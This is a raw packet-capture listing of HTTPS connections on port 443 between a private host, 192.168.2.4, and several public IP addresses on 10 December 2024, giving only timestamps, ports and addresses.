Dec 10, 2024 15:10:43.711018085 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:43.711059093 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:43.711129904 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:43.711430073 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:43.711441994 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:44.475961924 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:44.476246119 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:44.476268053 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:44.477364063 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:44.477432966 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:44.477857113 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:44.477927923 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:44.478074074 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:44.478080988 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:44.526354074 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:44.702099085 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:44.702440023 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:44.702460051 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:44.703694105 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:44.704159975 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:44.705215931 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:44.705215931 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:44.705234051 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:44.705355883 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:44.750080109 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:44.750097990 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:44.797074080 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:45.030164957 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:45.030208111 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:45.030246019 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:45.030283928 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:45.030301094 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:45.030836105 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:45.032603025 CET	50004	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:45.032623053 CET	443	50004	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:45.081768036 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.082324982 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.082360983 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.086292982 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.086395979 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.087749004 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.087749004 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.087769032 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.087992907 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.134165049 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.134183884 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.180226088 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.214868069 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:45.214953899 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:45.216344118 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:45.216489077 CET	50005	443	192.168.2.4	63.140.62.27
Dec 10, 2024 15:10:45.216512918 CET	443	50005	63.140.62.27	192.168.2.4
Dec 10, 2024 15:10:45.221326113 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:45.221376896 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:45.221466064 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:45.222656012 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:45.222671032 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:45.359180927 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:45.359225035 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:45.359451056 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:45.359606981 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:45.359621048 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:45.610619068 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.610651016 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.610661030 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.610733986 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.610759020 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:45.610822916 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.738096952 CET	50008	443	192.168.2.4	54.154.212.37
Dec 10, 2024 15:10:45.738132954 CET	443	50008	54.154.212.37	192.168.2.4
Dec 10, 2024 15:10:46.426537037 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:46.426589966 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:46.426659107 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:46.426922083 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:46.426932096 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:46.490232944 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:46.490291119 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:46.490431070 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:46.490693092 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:46.490711927 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:46.536819935 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:46.536864042 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:46.536948919 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:46.537462950 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:46.537481070 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:46.587889910 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:46.588205099 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:46.588226080 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:46.588644028 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:46.589003086 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:46.589109898 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:46.589227915 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:46.635333061 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:46.647840977 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:46.647896051 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:46.647964001 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:46.648562908 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:46.648586035 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:46.726588964 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:46.727272034 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:46.727299929 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:46.728506088 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:46.728575945 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:46.729129076 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:46.729228020 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:46.729460955 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:46.729470015 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:46.782020092 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:46.983091116 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:46.983135939 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:46.983202934 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:46.983436108 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:46.983450890 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:47.083019018 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:47.083062887 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:47.083157063 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:47.083484888 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:47.083498001 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:47.153999090 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.154026985 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.154082060 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:47.154107094 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.154124022 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.154165030 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:47.154942989 CET	50016	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:47.154957056 CET	443	50016	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.160640001 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:47.160691977 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:47.160864115 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:47.161238909 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:47.161262035 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:47.203147888 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:47.203196049 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:47.203339100 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:47.203633070 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:47.203649998 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:47.249754906 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:47.249840021 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:47.250089884 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:47.250411987 CET	50017	443	192.168.2.4	63.140.62.222
Dec 10, 2024 15:10:47.250431061 CET	443	50017	63.140.62.222	192.168.2.4
Dec 10, 2024 15:10:47.754806042 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:47.755099058 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:47.755112886 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:47.756361008 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:47.756424904 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:47.757764101 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:47.757878065 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:47.758033991 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:47.758043051 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:47.812649012 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:47.878406048 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.878763914 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:47.878782034 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.879137039 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.879591942 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:47.879667044 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:47.879781961 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:47.923321962 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:48.211829901 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:48.211935043 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:48.212008953 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:48.229419947 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.246233940 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.272912025 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.288911104 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.343668938 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:48.375503063 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.375530958 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.375771999 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.375797033 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.375871897 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:48.375880957 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:48.376856089 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.376919985 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.377034903 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:48.377085924 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.377116919 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:48.377146959 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.392656088 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:48.392755032 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:48.392853975 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:48.433526993 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.433710098 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.465830088 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:48.466037035 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:48.469188929 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.469373941 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.475558996 CET	50023	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:48.475596905 CET	443	50023	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:48.490679026 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.490693092 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.504981995 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.508419991 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:48.508438110 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:48.514811993 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.514833927 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.526699066 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:48.547328949 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.554007053 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:48.569987059 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.570005894 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:48.612972021 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:48.612983942 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:48.613519907 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:48.615192890 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:48.615281105 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:48.615681887 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:48.628515005 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.628767014 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.628787994 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.629981041 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.630047083 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.631150961 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.631227016 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.631513119 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.631527901 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.659332037 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:48.676238060 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.712418079 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:48.712461948 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:48.712534904 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:48.712817907 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:48.712829113 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:48.719985962 CET	50024	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:48.720017910 CET	443	50024	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:48.721858025 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:48.721892118 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:48.721960068 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:48.723090887 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:48.723110914 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:48.850265026 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.850338936 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.850405931 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.851366043 CET	50033	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.851382017 CET	443	50033	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.923099995 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.923161030 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.923177004 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.923209906 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.923250914 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.924582005 CET	50022	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.924593925 CET	443	50022	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.925524950 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.925569057 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.925641060 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.925875902 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:48.925890923 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:48.952300072 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.952402115 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.952449083 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.953438044 CET	50035	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.953449965 CET	443	50035	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.955760002 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.955822945 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.955877066 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.956321001 CET	50044	443	192.168.2.4	3.33.220.150
Dec 10, 2024 15:10:48.956346989 CET	443	50044	3.33.220.150	192.168.2.4
Dec 10, 2024 15:10:48.997488022 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.997534990 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:48.997602940 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.997840881 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:48.997854948 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:49.010935068 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.011188030 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:49.011213064 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.013058901 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.013113976 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:49.014547110 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:49.014643908 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.014729977 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:49.014744043 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.061471939 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:49.061511993 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:49.061572075 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:49.061590910 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:49.061609030 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:49.061655045 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:49.062900066 CET	50036	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:49.062918901 CET	443	50036	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:49.067421913 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:49.110308886 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:49.110348940 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:49.110420942 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:49.110656023 CET	50052	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:49.110671043 CET	443	50052	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:49.265193939 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:49.268017054 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:49.268055916 CET	443	50027	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:49.268131018 CET	50027	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:49.271631956 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:49.271670103 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:49.271742105 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:49.272445917 CET	50053	443	192.168.2.4	172.217.17.66
Dec 10, 2024 15:10:49.272465944 CET	443	50053	172.217.17.66	192.168.2.4
Dec 10, 2024 15:10:49.417900085 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.418030024 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.418076038 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:49.419441938 CET	50037	443	192.168.2.4	91.228.74.200
Dec 10, 2024 15:10:49.419466019 CET	443	50037	91.228.74.200	192.168.2.4
Dec 10, 2024 15:10:49.420278072 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:49.420329094 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:49.420428991 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:49.420651913 CET	50055	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:49.420670033 CET	443	50055	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:49.934750080 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:49.935137987 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:49.935157061 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:49.935539961 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:49.935986996 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:49.936063051 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:49.936172962 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:49.983330965 CET	443	50042	35.244.154.8	192.168.2.4
Dec 10, 2024 15:10:49.987601042 CET	50042	443	192.168.2.4	35.244.154.8
Dec 10, 2024 15:10:50.078269958 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.078591108 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.078618050 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.078999996 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.079380035 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.079448938 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.079642057 CET	50041	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:50.123338938 CET	443	50041	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:50.277995110 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.278342009 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.278358936 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.279514074 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.279583931 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.280077934 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.280133963 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.280292988 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.314095020 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.314752102 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:50.314779997 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.315125942 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.315551996 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:50.315630913 CET	443	50043	37.252.171.149	192.168.2.4
Dec 10, 2024 15:10:50.316684008 CET	50043	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:10:50.327327967 CET	443	50048	104.244.42.67	192.168.2.4
Dec 10, 2024 15:10:50.328757048 CET	50048	443	192.168.2.4	104.244.42.67
Dec 10, 2024 15:10:50.328767061 CET	443	50048	104.244.42.67	192.168.2.4
